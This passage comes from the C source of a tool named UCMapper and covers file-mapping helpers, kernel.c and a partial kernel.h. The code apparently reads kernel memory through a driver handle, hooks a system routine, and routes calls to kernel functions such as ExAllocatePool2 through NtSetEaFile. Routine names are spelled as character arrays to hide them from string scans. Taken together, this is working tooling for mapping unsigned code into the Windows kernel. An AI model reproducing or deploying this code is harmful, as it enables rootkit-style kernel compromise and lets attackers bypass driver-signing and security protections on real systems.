| HANDLE SectionHandle; 240 | IO_STATUS_BLOCK IoStatus; 241 | 242 | *BaseAddress = NULL; 243 | *ViewSize = 0; 244 | 245 | if (Source[0] == L'\\') 246 | RtlInitUnicodeString(&UnicodeString, Source); 247 | else 248 | RtlDosPathNameToNtPathName_U(Source, &UnicodeString, NULL, NULL); 249 | 250 | InitializeObjectAttributes(&ObjectAttributes, &UnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL); 251 | Status 252 | = NtOpenFile(&FileHandle, FILE_EXECUTE, &ObjectAttributes, &IoStatus, FILE_SHARE_READ, 0); 253 | 254 | if (Source[0] != L'\\') 255 | RtlFreeUnicodeString(&UnicodeString); 256 | 257 | if NT_ERROR (Status) { 258 | DEBUG_PRINT_NTSTATUS(Status); 259 | return Status; 260 | } 261 | 262 | InitializeObjectAttributes(&ObjectAttributes, NULL, (OBJ_CASE_INSENSITIVE), NULL, NULL); 263 | Status = NtCreateSection( 264 | &SectionHandle, 265 | SECTION_ALL_ACCESS, 266 | &ObjectAttributes, 267 | (PLARGE_INTEGER)NULL, 268 | PAGE_EXECUTE, 269 | SEC_IMAGE, 270 | FileHandle); 271 | 272 | if NT_ERROR (Status) { 273 | NtClose(FileHandle); 274 | DEBUG_PRINT_NTSTATUS(Status); 275 | return Status; 276 | } 277 | 278 | Status = NtMapViewOfSection( 279 | SectionHandle, 280 | NtCurrentProcess(), 281 | BaseAddress, 282 | 0, 283 | 0, 284 | NULL, 285 | ViewSize, 286 | ViewUnmap, 287 | 0, 288 | PAGE_EXECUTE); 289 | 290 | NtClose(SectionHandle); 291 | NtClose(FileHandle); 292 | if NT_ERROR (Status) { 293 | *BaseAddress = NULL; 294 | *ViewSize = 0; 295 | 296 | DEBUG_PRINT_NTSTATUS(Status); 297 | return Status; 298 | } 299 | 300 | return Status; 301 | } 302 | 303 | NTSTATUS RtlFileUnmap(_In_ PVOID BaseAddress) 304 | { 305 | return NtUnmapViewOfSection(NtCurrentProcess(), BaseAddress); 306 | } 307 | 308 | NTSTATUS RtlFileDelete(_In_ LPCWSTR FilePath) 309 | { 310 | NTSTATUS Status; 311 | UNICODE_STRING UnicodeString; 312 | OBJECT_ATTRIBUTES ObjectAttributes; 313 | 314 | if (FilePath[0] == L'\\') 315 | RtlInitUnicodeString(&UnicodeString, FilePath); 316 | else 317 | RtlDosPathNameToNtPathName_U(FilePath, &UnicodeString, NULL, NULL); 318 | 319 | InitializeObjectAttributes(&ObjectAttributes, &UnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL); 320 | Status = NtDeleteFile(&ObjectAttributes); 321 | 322 | if (FilePath[0] != L'\\') 323 | RtlFreeUnicodeString(&UnicodeString); 324 | 325 | return Status; 326 | } 327 | 328 | NTSTATUS RtlFileToImage(_In_ LPCWSTR Source, _In_ LPCWSTR Destination) 329 | { 330 | NTSTATUS Status; 331 | PCHAR ImageBase, FileBase; 332 | SIZE_T FileSize, ImageSize; 333 | PIMAGE_NT_HEADERS ImageHeader; 334 | USHORT i; 335 | PIMAGE_SECTION_HEADER ImageSection; 336 | 337 | Status = RtlFileRead(Source, &FileBase, &FileSize); 338 | if NT_ERROR (Status) { 339 | DEBUG_PRINT_NTSTATUS(Status); 340 | return Status; 341 | } 342 | 343 | ImageHeader = RtlImageNtHeader(FileBase); 344 | if (ImageHeader == NULL) { 345 | Status = STATUS_INVALID_IMAGE_FORMAT; 346 | DEBUG_PRINT_NTSTATUS(Status); 347 | return Status; 348 | } 349 | 350 | ImageSize = ImageHeader->OptionalHeader.SizeOfImage; 351 | ImageBase = RtlAllocateMemory(ImageSize); 352 | 353 | // 354 | // Copy Header. 355 | // 356 | 357 | ImageSection = IMAGE_FIRST_SECTION(ImageHeader); 358 | 359 | RtlCopyMemory(ImageBase, FileBase, ImageSection->VirtualAddress); 360 | for (i = 0; i < ImageHeader->FileHeader.NumberOfSections; i += 1) { 361 | // clang-format off 362 | RtlCopyMemory( 363 | ImageBase + ImageSection[i].VirtualAddress, 364 | FileBase + ImageSection[i].PointerToRawData, 365 | ImageSection[i].SizeOfRawData); 366 | // clang-format on 367 | } 368 | 369 | Status = RtlFileWrite(Destination, ImageBase, ImageSize); 370 | if NT_ERROR (Status) { 371 | DEBUG_PRINT_NTSTATUS(Status); 372 | } 373 | 374 | RtlFreeMemory(FileBase); 375 | RtlFreeMemory(ImageBase); 376 | return Status; 377 | } 378 | -------------------------------------------------------------------------------- /UCMapper/kernel.c: -------------------------------------------------------------------------------- 1 | #include "main.h" 2 | 3 | NTSTATUS MiResolveImportTable(IN OUT PKERNEL_IMPORT_TABLE Table) 4 | { 5 | #define RESOLVE_IMPORT_TABLE(Address) \ 6 | Table->##Address = NULL; \ 7 | { \ 8 | *(PVOID*)(&Table->##Address) = (PVOID)GetSystemRoutineAddressA(#Address); \ 9 | if (Table->##Address == NULL) { \ 10 | DEBUG_PRINT("[!] Procedure %hs not found.", #Address); \ 11 | return STATUS_PROCEDURE_NOT_FOUND; \ 12 | } \ 13 | } 14 | 15 | RtlSecureZeroMemory(Table, sizeof(KERNEL_IMPORT_TABLE)); 16 | RESOLVE_IMPORT_TABLE(PsLoadedModuleList); 17 | RESOLVE_IMPORT_TABLE(PsInitialSystemProcess); 18 | 19 | RESOLVE_IMPORT_TABLE(ExAcquireResourceExclusiveLite); 20 | RESOLVE_IMPORT_TABLE(ExAllocatePool2); 21 | RESOLVE_IMPORT_TABLE(ExFreePoolWithTag); 22 | RESOLVE_IMPORT_TABLE(ExReleaseResourceLite); 23 | RESOLVE_IMPORT_TABLE(IoAllocateMdl); 24 | RESOLVE_IMPORT_TABLE(IoFreeMdl); 25 | RESOLVE_IMPORT_TABLE(KeDelayExecutionThread); 26 | RESOLVE_IMPORT_TABLE(KeSetEvent); 27 | RESOLVE_IMPORT_TABLE(KeWaitForSingleObject); 28 | RESOLVE_IMPORT_TABLE(memcpy); 29 | RESOLVE_IMPORT_TABLE(memset); 30 | RESOLVE_IMPORT_TABLE(MmAllocatePagesForMdlEx); 31 | RESOLVE_IMPORT_TABLE(MmCopyMemory); 32 | RESOLVE_IMPORT_TABLE(MmFreePagesFromMdl); 33 | RESOLVE_IMPORT_TABLE(MmGetSystemRoutineAddress); 34 | RESOLVE_IMPORT_TABLE(MmMapIoSpaceEx); 35 | RESOLVE_IMPORT_TABLE(MmMapLockedPagesSpecifyCache); 36 | RESOLVE_IMPORT_TABLE(MmMapViewInSystemSpace); 37 | RESOLVE_IMPORT_TABLE(MmProbeAndLockPages); 38 | RESOLVE_IMPORT_TABLE(MmProtectMdlSystemAddress); 39 | RESOLVE_IMPORT_TABLE(MmUnlockPages); 40 | RESOLVE_IMPORT_TABLE(MmUnmapIoSpace); 41 | RESOLVE_IMPORT_TABLE(MmUnmapLockedPages); 42 | RESOLVE_IMPORT_TABLE(MmUnmapViewInSystemSpace); 43 | RESOLVE_IMPORT_TABLE(ObfDereferenceObject); 44 | RESOLVE_IMPORT_TABLE(ObReferenceObjectByHandle); 45 | RESOLVE_IMPORT_TABLE(PsCreateSystemThread); 46 | RESOLVE_IMPORT_TABLE(PsGetThreadExitStatus); 47 | RESOLVE_IMPORT_TABLE(PsLookupProcessByProcessId); 48 | RESOLVE_IMPORT_TABLE(PsTerminateSystemThread); 49 | RESOLVE_IMPORT_TABLE(RtlAnsiStringToUnicodeString); 50 | RESOLVE_IMPORT_TABLE(RtlDeleteElementGenericTableAvl); 51 | RESOLVE_IMPORT_TABLE(RtlEqualUnicodeString); 52 | RESOLVE_IMPORT_TABLE(RtlFindExportedRoutineByName); 53 | RESOLVE_IMPORT_TABLE(RtlFreeUnicodeString); 54 | RESOLVE_IMPORT_TABLE(RtlImageDirectoryEntryToData); 55 | RESOLVE_IMPORT_TABLE(RtlImageNtHeader); 56 | RESOLVE_IMPORT_TABLE(RtlInitAnsiString); 57 | RESOLVE_IMPORT_TABLE(RtlInitUnicodeString); 58 | RESOLVE_IMPORT_TABLE(RtlLookupElementGenericTableAvl); 59 | RESOLVE_IMPORT_TABLE(ZwClose); 60 | RESOLVE_IMPORT_TABLE(ZwCreateSection); 61 | RESOLVE_IMPORT_TABLE(ZwOpenEvent); 62 | RESOLVE_IMPORT_TABLE(ZwOpenFile); 63 | 64 | #undef RESOLVE_IMPORT_TABLE 65 | return STATUS_SUCCESS; 66 | } 67 | 68 | // ======================================================================================================== 69 | // 70 | // ======================================================================================================== 71 | 72 | PVOID MiFindPattern( 73 | _In_reads_bytes_(Length) PVOID BaseAddress, 74 | _In_ SIZE_T Length, 75 | _In_ PUCHAR Pattern, 76 | _In_ PCHAR Mask) 77 | { 78 | ANSI_STRING v1; 79 | PVOID v2; 80 | BOOLEAN v3; 81 | SIZE_T i; 82 | PUCHAR v4; 83 | SIZE_T j; 84 | 85 | v2 = NULL; 86 | RtlInitString(&v1, Mask); 87 | for (j = 0; j < (Length - v1.Length); j += 1) { 88 | v3 = TRUE; 89 | v4 = (PUCHAR)BaseAddress + j; 90 | 91 | for (i = 0; i < v1.Length; i += 1) { 92 | if (v1.Buffer[i] == 'x' && Pattern[i] != v4[i]) { 93 | v3 = FALSE; 94 | break; 95 | } 96 | } 97 | 98 | if (v3 == TRUE) { 99 | v2 = (PVOID)((PCHAR)BaseAddress + j); 100 | break; 101 | } 102 | } 103 | return v2; 104 | } 105 | 106 | PVOID KiFindPattern( 107 | _In_ PDEVICE_DRIVER_OBJECT Driver, 108 | _In_ PVOID BaseAddress, 109 | _In_ SIZE_T Length, 110 | _In_ PUCHAR Pattern, 111 | _In_ PCHAR Mask) 112 | { 113 | ULONGLONG v1 = 0; 114 | PVOID v2 = RtlAllocateMemory(Length); 115 | 116 | if NT_SUCCESS (Driver->ReadMemory(Driver->DeviceHandle, (ULONGLONG)BaseAddress, v2, Length)) { 117 | v1 = (ULONGLONG)MiFindPattern(v2, Length, Pattern, Mask); 118 | 119 | if (v1 != 0) { 120 | v1 -= (ULONGLONG)v2; 121 | v1 += (ULONGLONG)BaseAddress; 122 | } 123 | 124 | RtlFreeMemory(v2); 125 | } 126 | 127 | return (PVOID)v1; 128 | } 129 | 130 | PVOID KiRelativeVirtualAddress( 131 | _In_ PDEVICE_DRIVER_OBJECT Driver, 132 | _In_ PVOID Address, 133 | _In_ LONG Offsets, 134 | _In_ SIZE_T Size) 135 | { 136 | LONG VA = 0; 137 | PVOID Resolved = 0; 138 | 139 | if NT_SUCCESS (Driver->ReadMemory( 140 | Driver->DeviceHandle, 141 | (ULONGLONG)Address + Offsets, 142 | &VA, 143 | sizeof(LONG))) { 144 | Resolved = (PVOID)((ULONGLONG)Address + Size + VA); 145 | } 146 | 147 | return Resolved; 148 | } 149 | 150 | // ======================================================================================================== 151 | // 152 | // ======================================================================================================== 153 | 154 | NTSTATUS KiExAllocatePool2( 155 | _In_ PDEVICE_DRIVER_OBJECT Driver, 156 | _In_ SIZE_T NumberOfBytes, 157 | _Out_ PULONGLONG Pointer) 158 | { 159 | NTSTATUS Status; 160 | ULONGLONG Address; 161 | UCHAR Storage[12]; 162 | 163 | *Pointer = 0; 164 | // clang-format off 165 | WCHAR v1[] = { L'E', L'x', L'A', L'l', L'l', L'o', L'c', L'a', L't', L'e', L'P', L'o', L'o', L'l', L'2', L'\0' }; 166 | // clang-format on 167 | 168 | Status = MmGetSystemRoutineAddressW(v1, &Address); 169 | if NT_ERROR (Status) { 170 | DEBUG_PRINT_NTSTATUS(Status); 171 | return Status; 172 | } 173 | 174 | Status = HookSystemRoutine(Driver, Address, Storage); 175 | if NT_ERROR (Status) { 176 | DEBUG_PRINT_NTSTATUS(Status); 177 | return Status; 178 | } 179 | 180 | typedef ULONGLONG (*ROUTINE_TYPE)(ULONGLONG, SIZE_T, ULONG); 181 | *Pointer = ((ROUTINE_TYPE)NtSetEaFile)( 182 | 0x0000000000000080UI64, 183 | NumberOfBytes, 184 | HandleToUlong(NtCurrentTeb()->ClientId.UniqueThread)); 185 | 186 | UnhookSystemRoutine(Driver, Storage); 187 | return Status; 188 | } 189 | 190 | NTSTATUS KiExFreePool(_In_ PDEVICE_DRIVER_OBJECT Driver, _In_ ULONGLONG Pointer) 191 | { 192 | NTSTATUS Status; 193 | ULONGLONG Address; 194 | UCHAR Storage[12]; 195 | 196 | // clang-format off 197 | WCHAR v1[] = { L'E', L'x', L'F', L'r', L'e', L'e', L'P', L'o', L'o', L'l', L'W', L'i', L't', L'h', L'T', L'a', L'g', L'\0' }; 198 | // clang-format on 199 | 200 | Status = MmGetSystemRoutineAddressW(v1, &Address); 201 | if NT_ERROR (Status) { 202 | DEBUG_PRINT_NTSTATUS(Status); 203 | return Status; 204 | } 205 | 206 | Status = HookSystemRoutine(Driver, Address, Storage); 207 | if NT_ERROR (Status) { 208 | DEBUG_PRINT_NTSTATUS(Status); 209 | return Status; 210 | } 211 | 212 | typedef VOID (*ROUTINE_TYPE)(ULONGLONG, ULONG); 213 | ((ROUTINE_TYPE)NtSetEaFile)(Pointer, 0); 214 | 215 | UnhookSystemRoutine(Driver, Storage); 216 | return Status; 217 | } 218 | 219 | NTSTATUS KiExReleaseResourceLite(_In_ PDEVICE_DRIVER_OBJECT Driver, _In_ PVOID Resource) 220 | { 221 | NTSTATUS Status; 222 | ULONGLONG Address; 223 | UCHAR Storage[12]; 224 | 225 | // clang-format off 226 | WCHAR v1[] = { L'E', L'x', L'R', L'e', L'l', L'e', L'a', L's', L'e', L'R', L'e', L's', L'o', L'u', L'r', L'c', L'e', L'L', L'i', L't', L'e', L'\0' }; 227 | // clang-format on 228 | 229 | Status = MmGetSystemRoutineAddressW(v1, &Address); 230 | if NT_ERROR (Status) { 231 | DEBUG_PRINT_NTSTATUS(Status); 232 | return Status; 233 | } 234 | 235 | Status = HookSystemRoutine(Driver, Address, Storage); 236 | if NT_ERROR (Status) { 237 | DEBUG_PRINT_NTSTATUS(Status); 238 | return Status; 239 | } 240 | 241 | typedef VOID (*ROUTINE_TYPE)(PVOID); 242 | ((ROUTINE_TYPE)NtSetEaFile)(Resource); 243 | 244 | UnhookSystemRoutine(Driver, Storage); 245 | return Status; 246 | } 247 | 248 | NTSTATUS KiExAcquireResourceExclusiveLite( 249 | _In_ PDEVICE_DRIVER_OBJECT Driver, 250 | _In_ PVOID Resource, 251 | _In_ BOOLEAN Wait) 252 | { 253 | NTSTATUS Status; 254 | ULONGLONG Address; 255 | UCHAR Storage[12]; 256 | 257 | WCHAR v1[] = {L'E', L'x', L'A', L'c', L'q', L'u', L'i', L'r', L'e', L'R', L'e', 258 | L's', L'o', L'u', L'r', L'c', L'e', L'E', L'x', L'c', L'l', L'u', 259 | L's', L'i', L'v', L'e', L'L', L'i', L't', L'e', L'\0'}; 260 | 261 | Status = MmGetSystemRoutineAddressW(v1, &Address); 262 | if NT_ERROR (Status) { 263 | DEBUG_PRINT_NTSTATUS(Status); 264 | return Status; 265 | } 266 | 267 | Status = HookSystemRoutine(Driver, Address, Storage); 268 | if NT_ERROR (Status) { 269 | DEBUG_PRINT_NTSTATUS(Status); 270 | return Status; 271 | } 272 | 273 | typedef BOOLEAN (*ROUTINE_TYPE)(_In_ PVOID Resource, _In_ BOOLEAN Wait); 274 | Status = ((ROUTINE_TYPE)NtSetEaFile)(Resource, Wait) == TRUE ? STATUS_SUCCESS : 275 | STATUS_UNSUCCESSFUL; 276 | 277 | UnhookSystemRoutine(Driver, Storage); 278 | return Status; 279 | } 280 | 281 | NTSTATUS KiRtlDeleteElementGenericTableAvl( 282 | _In_ PDEVICE_DRIVER_OBJECT Driver, 283 | _In_ PRTL_AVL_TABLE Table, 284 | _In_ PVOID Buffer) 285 | { 286 | NTSTATUS Status; 287 | ULONGLONG Address; 288 | UCHAR Storage[12]; 289 | 290 | WCHAR v1[] = {L'R', L't', L'l', L'D', L'e', L'l', L'e', L't', L'e', L'E', L'l', 291 | L'e', L'm', L'e', L'n', L't', L'G', L'e', L'n', L'e', L'r', L'i', 292 | L'c', L'T', L'a', L'b', L'l', L'e', L'A', L'v', L'l', L'\0'}; 293 | 294 | Status = MmGetSystemRoutineAddressW(v1, &Address); 295 | if NT_ERROR (Status) { 296 | DEBUG_PRINT_NTSTATUS(Status); 297 | return Status; 298 | } 299 | 300 | Status = HookSystemRoutine(Driver, Address, Storage); 301 | if NT_ERROR (Status) { 302 | DEBUG_PRINT_NTSTATUS(Status); 303 | return Status; 304 | } 305 | 306 | typedef BOOLEAN (*ROUTINE_TYPE)(_In_ PRTL_AVL_TABLE Table, _In_ PVOID Buffer); 307 | Status 308 | = ((ROUTINE_TYPE)NtSetEaFile)(Table, Buffer) == TRUE ? STATUS_SUCCESS : STATUS_UNSUCCESSFUL; 309 | 310 | UnhookSystemRoutine(Driver, Storage); 311 | return Status; 312 | } 313 | 314 | NTSTATUS KiRtlLookupElementGenericTableAvl( 315 | _In_ PDEVICE_DRIVER_OBJECT Driver, 316 | _In_ PRTL_AVL_TABLE Table, 317 | _In_ PVOID Buffer, 318 | _Out_ PVOID* Pointer) 319 | { 320 | NTSTATUS Status; 321 | ULONGLONG Address; 322 | UCHAR Storage[12]; 323 | 324 | *Pointer = 0; 325 | 326 | WCHAR v1[] = {L'R', L't', L'l', L'L', L'o', L'o', L'k', L'u', L'p', L'E', L'l', 327 | L'e', L'm', L'e', L'n', L't', L'G', L'e', L'n', L'e', L'r', L'i', 328 | L'c', L'T', L'a', L'b', L'l', L'e', L'A', L'v', L'l', L'\0'}; 329 | 330 | Status = MmGetSystemRoutineAddressW(v1, &Address); 331 | if NT_ERROR (Status) { 332 | DEBUG_PRINT_NTSTATUS(Status); 333 | return Status; 334 | } 335 | 336 | Status = HookSystemRoutine(Driver, Address, Storage); 337 | if NT_ERROR (Status) { 338 | DEBUG_PRINT_NTSTATUS(Status); 339 | return Status; 340 | } 341 | 342 | typedef PVOID (*ROUTINE_TYPE)(_In_ PRTL_AVL_TABLE Table, _In_ PVOID Buffer); 343 | *Pointer = ((ROUTINE_TYPE)NtSetEaFile)(Table, Buffer); 344 | 345 | UnhookSystemRoutine(Driver, Storage); 346 | return Status; 347 | } 348 | -------------------------------------------------------------------------------- /UCMapper/kernel.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifdef __cplusplus 4 | extern "C" { 5 | #endif 6 | 7 | #ifndef KERNEL_MODE_API 8 | #define KERNEL_MODE_API __stdcall 9 | #endif 10 | 11 | // ======================================================================================================== 12 | // 13 | // ======================================================================================================== 14 | 15 | PVOID MiFindPattern( 16 | _In_reads_bytes_(Length) PVOID BaseAddress, 17 | _In_ SIZE_T Length, 18 | _In_ PUCHAR Pattern, 19 | _In_ PCHAR Mask); 20 | 21 | PVOID KiFindPattern( 22 | _In_ PDEVICE_DRIVER_OBJECT Driver, 23 | _In_ PVOID BaseAddress, 24 | _In_ SIZE_T Length, 25 | _In_ PUCHAR Pattern, 26 | _In_ PCHAR Mask); 27 | 28 | PVOID KiRelativeVirtualAddress( 29 | _In_ PDEVICE_DRIVER_OBJECT Driver, 30 | _In_ PVOID Address, 31 | _In_ LONG Offsets, 32 | _In_ SIZE_T Size); 33 | 34 | // ======================================================================================================== 35 | // 36 | // ======================================================================================================== 37 | 38 | NTSTATUS KiExAllocatePool2( 39 | _In_ PDEVICE_DRIVER_OBJECT Driver, 40 | _In_ SIZE_T NumberOfBytes, 41 | _Out_ PULONGLONG Pointer); 42 | 43 | NTSTATUS KiExAcquireResourceExclusiveLite( 44 | _In_ PDEVICE_DRIVER_OBJECT Driver, 45 | _In_ PVOID Resource, 46 | _In_ BOOLEAN Wait); 47 | 48 | NTSTATUS KiRtlDeleteElementGenericTableAvl( 49 | _In_ PDEVICE_DRIVER_OBJECT Driver, 50 | _In_ PRTL_AVL_TABLE Table, 51 | _In_ PVOID Buffer); 52 | 53 | NTSTATUS KiRtlLookupElementGenericTableAvl( 54 | _In_ PDEVICE_DRIVER_OBJECT Driver, 55 | _In_ PRTL_AVL_TABLE Table, 56 | _In_ PVOID Buffer, 57 | _Out_ PVOID* Pointer); 58 | 59 | 60 | NTSTATUS KiExFreePool(_In_ PDEVICE_DRIVER_OBJECT Driver, _In_ ULONGLONG Pointer); 61 | NTSTATUS KiExReleaseResourceLite(_In_ PDEVICE_DRIVER_OBJECT Driver, _In_ PVOID Resource); 62 | 63 | 64 | // 65 | // Prototype 66 | // 67 | 68 | typedef struct _MDL* PMDL; 69 | typedef struct _EPROCESS* PEPROCESS; 70 | 71 | typedef struct _MM_COPY_ADDRESS 72 | { 73 | union 74 | { 75 | PVOID VirtualAddress; 76 | PHYSICAL_ADDRESS PhysicalAddress; 77 | }; 78 | } MM_COPY_ADDRESS, *PMMCOPY_ADDRESS; 79 | 80 | typedef enum _MEMORY_CACHING_TYPE 81 | { 82 | MmNonCached, 83 | MmCached, 84 | MmWriteCombined, 85 | MmHardwareCoherentCached, 86 | MmNonCachedUnordered, 87 | MmUSWCCached, 88 | MmMaximumCacheType, 89 | MmNotMapped 90 | } MEMORY_CACHING_TYPE; 91 | 92 | typedef enum _MM_PAGE_PRIORITY 93 | { 94 | LowPagePriority, 95 | NormalPagePriority = 16, 96 | HighPagePriority = 32 97 | } MM_PAGE_PRIORITY; 98 | 99 | typedef enum _LOCK_OPERATION 100 | { 101 | IoReadAccess, 102 | IoWriteAccess, 103 | IoModifyAccess 104 | } LOCK_OPERATION; 105 | 106 | #define MdlMappingNoWrite 0x80000000 // Create the mapping as nowrite 107 | #define MdlMappingNoExecute 0x40000000 // Create the mapping as noexecute 108 | #define MdlMappingWithGuardPtes 0x20000000 // Create the mapping with guard PTEs 109 | 110 | 111 | typedef NTSTATUS (*ZwClose_t)(HANDLE); 112 | typedef NTSTATUS (*PsGetThreadExitStatus_t)(_In_ PVOID Thread); 113 | typedef LONG_PTR (*ObfDereferenceObject_t)(_In_ PVOID Object); 114 | typedef PVOID (*ExAllocatePool2_t)(_In_ ULONGLONG Flags, _In_ SIZE_T NumberOfBytes, _In_ ULONG Tag); 115 | typedef void (*ExFreePoolWithTag_t)(PVOID P, ULONG Tag); 116 | typedef void (*MmFreePagesFromMdl_t)(PVOID MemoryDescriptorList); 117 | typedef PIMAGE_NT_HEADERS (*RtlImageNtHeader_t)(_In_ PVOID Base); 118 | typedef NTSTATUS (*PsTerminateSystemThread_t)(NTSTATUS ExitStatus); 119 | typedef NTSTATUS (*PDRIVER_INITIALIZE)(PDRIVER_OBJECT, PUNICODE_STRING); 120 | typedef PVOID (*RtlFindExportedRoutineByName_t)(_In_ PVOID BaseOfImage, _In_ PSTR RoutineName); 121 | typedef void (*RtlFreeUnicodeString_t)(PUNICODE_STRING UnicodeString); 122 | typedef PVOID (*MmGetSystemRoutineAddress_t)(PUNICODE_STRING SystemRoutineName); 123 | typedef NTSTATUS (*MmProtectMdlSystemAddress_t)(PVOID MemoryDescriptorList, ULONG NewProtect); 124 | typedef void (*IoFreeMdl_t)(PVOID Mdl); 125 | typedef VOID (*MmUnmapLockedPages_t)(_In_ PVOID BaseAddress, _Inout_ PMDL MemoryDescriptorList); 126 | typedef VOID (*MmUnlockPages_t)(_Inout_ PMDL MemoryDescriptorList); 127 | typedef LONG (*KeSetEvent_t)(IN OUT PRKEVENT Event, IN KPRIORITY Increment, IN BOOLEAN Wait); 128 | typedef NTSTATUS (*MmMapViewInSystemSpace_t)(IN PVOID Section, PVOID* MappedBase, PSIZE_T ViewSize); 129 | typedef NTSTATUS (*MmUnmapViewInSystemSpace_t)(PVOID MappedBase); 130 | typedef NTSTATUS (*PsLookupProcessByProcessId_t)(IN HANDLE ProcessId, OUT PEPROCESS* Process); 131 | typedef void (*MmUnmapIoSpace_t)(IN PVOID BaseAddress, IN SIZE_T NumberOfBytes); 132 | 133 | typedef PVOID (*IoAllocateMdl_t)( 134 | __drv_aliasesMem PVOID VirtualAddress, 135 | ULONG Length, 136 | BOOLEAN SecondaryBuffer, 137 | BOOLEAN ChargeQuota, 138 | PVOID Irp); 139 | 140 | typedef BOOLEAN (*RtlEqualUnicodeString_t)( 141 | PCUNICODE_STRING String1, 142 | PCUNICODE_STRING String2, 143 | BOOLEAN CaseInSensitive); 144 | 145 | typedef NTSTATUS (*RtlAnsiStringToUnicodeString_t)( 146 | PUNICODE_STRING DestinationString, 147 | PCANSI_STRING SourceString, 148 | BOOLEAN AllocateDestinationString); 149 | 150 | typedef VOID ( 151 | *RtlInitAnsiString_t)(PANSI_STRING DestinationString, __drv_aliasesMem PCSZ SourceString); 152 | 153 | typedef void*( 154 | __cdecl* memset_t)(_Out_writes_bytes_all_(_Size) void* _Dst, _In_ int _Val, _In_ size_t _Size); 155 | 156 | typedef void* (*memcpy_t)( 157 | _Out_writes_bytes_all_(_Size) void* _Dst, 158 | _In_reads_bytes_(_Size) const void* _Src, 159 | _In_ size_t _Size); 160 | 161 | typedef NTSTATUS (*PsCreateSystemThread_t)( 162 | _Out_ PHANDLE ThreadHandle, 163 | _In_ ULONG DesiredAccess, 164 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, 165 | _In_opt_ HANDLE ProcessHandle, 166 | _Out_opt_ PCLIENT_ID ClientId, 167 | _In_ PKSTART_ROUTINE StartRoutine, 168 | _In_opt_ _When_(return >= 0, __drv_aliasesMem) PVOID StartContext); 169 | 170 | typedef PVOID (*MmMapLockedPagesSpecifyCache_t)( 171 | _Inout_ PVOID MemoryDescriptorList, 172 | _In_ __drv_strictType(KPROCESSOR_MODE / enum _MODE, __drv_typeConst) KPROCESSOR_MODE AccessMode, 173 | _In_ __drv_strictTypeMatch(__drv_typeCond) MEMORY_CACHING_TYPE CacheType, 174 | _In_opt_ PVOID RequestedAddress, 175 | _In_ ULONG BugCheckOnFailure, 176 | _In_ ULONG Priority); 177 | 178 | typedef NTSTATUS (*KeWaitForSingleObject_t)( 179 | _In_ _Points_to_data_ PVOID Object, 180 | _In_ _Strict_type_match_ KWAIT_REASON WaitReason, 181 | _In_ __drv_strictType(KPROCESSOR_MODE / enum _MODE, __drv_typeConst) KPROCESSOR_MODE WaitMode, 182 | _In_ BOOLEAN Alertable, 183 | _In_opt_ PLARGE_INTEGER Timeout); 184 | 185 | typedef NTSTATUS (*KeDelayExecutionThread_t)( 186 | _In_ KPROCESSOR_MODE WaitMode, 187 | _In_ BOOLEAN Alertable, 188 | _In_ PLARGE_INTEGER Interval); 189 | 190 | typedef PVOID (*MmAllocatePagesForMdlEx_t)( 191 | PHYSICAL_ADDRESS LowAddress, 192 | PHYSICAL_ADDRESS HighAddress, 193 | PHYSICAL_ADDRESS SkipBytes, 194 | SIZE_T TotalBytes, 195 | MEMORY_CACHING_TYPE CacheType, 196 | ULONG Flags); 197 | 198 | typedef PVOID (*RtlImageDirectoryEntryToData_t)( 199 | _In_ PVOID BaseOfImage, 200 | _In_ BOOLEAN MappedAsImage, 201 | _In_ USHORT DirectoryEntry, 202 | _Out_ PULONG Size); 203 | 204 | typedef NTSTATUS (*ObReferenceObjectByHandle_t)( 205 | _In_ HANDLE Handle, 206 | _In_ ACCESS_MASK DesiredAccess, 207 | _In_opt_ POBJECT_TYPE ObjectType, 208 | _In_ KPROCESSOR_MODE AccessMode, 209 | _Out_ PVOID* Object, 210 | _Out_opt_ PVOID HandleInformation); 211 | 212 | typedef VOID (*MmProbeAndLockPages_t)( 213 | _Inout_ PMDL MemoryDescriptorList, 214 | _In_ KPROCESSOR_MODE AccessMode, 215 | _In_ LOCK_OPERATION Operation); 216 | 217 | typedef NTSTATUS (*ZwOpenEvent_t)( 218 | OUT PHANDLE EventHandle, 219 | IN ACCESS_MASK DesiredAccess, 220 | IN POBJECT_ATTRIBUTES ObjectAttributes); 221 | 222 | typedef NTSTATUS (*ZwCreateSection_t)( 223 | OUT PHANDLE SectionHandle, 224 | IN ACCESS_MASK DesiredAccess, 225 | IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, 226 | IN OPTIONAL PLARGE_INTEGER MaximumSize, 227 | IN ULONG SectionPageProtection, 228 | IN ULONG AllocationAttributes, 229 | IN OPTIONAL HANDLE FileHandle); 230 | 231 | typedef NTSTATUS (*ZwOpenFile_t)( 232 | OUT PHANDLE FileHandle, 233 | IN ACCESS_MASK DesiredAccess, 234 | IN POBJECT_ATTRIBUTES ObjectAttributes, 235 | OUT PIO_STATUS_BLOCK IoStatusBlock, 236 | IN ULONG ShareAccess, 237 | IN ULONG OpenOptions); 238 | 239 | typedef NTSTATUS (*MmCopyMemory_t)( 240 | IN PVOID TargetAddress, 241 | IN MM_COPY_ADDRESS SourceAddress, 242 | IN SIZE_T NumberOfBytes, 243 | IN ULONG Flags, 244 | OUT PSIZE_T NumberOfBytesTransferred); 245 | 246 | typedef PVOID (*MmMapIoSpaceEx_t)( 247 | IN PHYSICAL_ADDRESS PhysicalAddress, 248 | IN SIZE_T NumberOfBytes, 249 | IN ULONG Protect); 250 | 251 | typedef VOID (*RtlInitUnicodeString_t)( 252 | OUT PUNICODE_STRING DestinationString, 253 | IN OPTIONAL __drv_aliasesMem PCWSTR SourceString); 254 | 255 | typedef BOOLEAN (*ExAcquireResourceExclusiveLite_t)( 256 | _Inout_ _Requires_lock_not_held_(*_Curr_) 257 | _When_(return != 0, _Acquires_exclusive_lock_(*_Curr_)) PERESOURCE Resource, 258 | _In_ _Literal_ BOOLEAN Wait); 259 | 260 | typedef PVOID (*RtlLookupElementGenericTableAvl_t)(_In_ PRTL_AVL_TABLE Table, _In_ PVOID Buffer); 261 | typedef BOOLEAN (*RtlDeleteElementGenericTableAvl_t)(_In_ PRTL_AVL_TABLE Table, _In_ PVOID Buffer); 262 | typedef VOID (*ExReleaseResourceLite_t)(_Inout_ PERESOURCE Resource); 263 | 264 | // 265 | // Structure Data Type 266 | // 267 | 268 | typedef struct _KERNEL_IMPORT_TABLE 269 | { 270 | 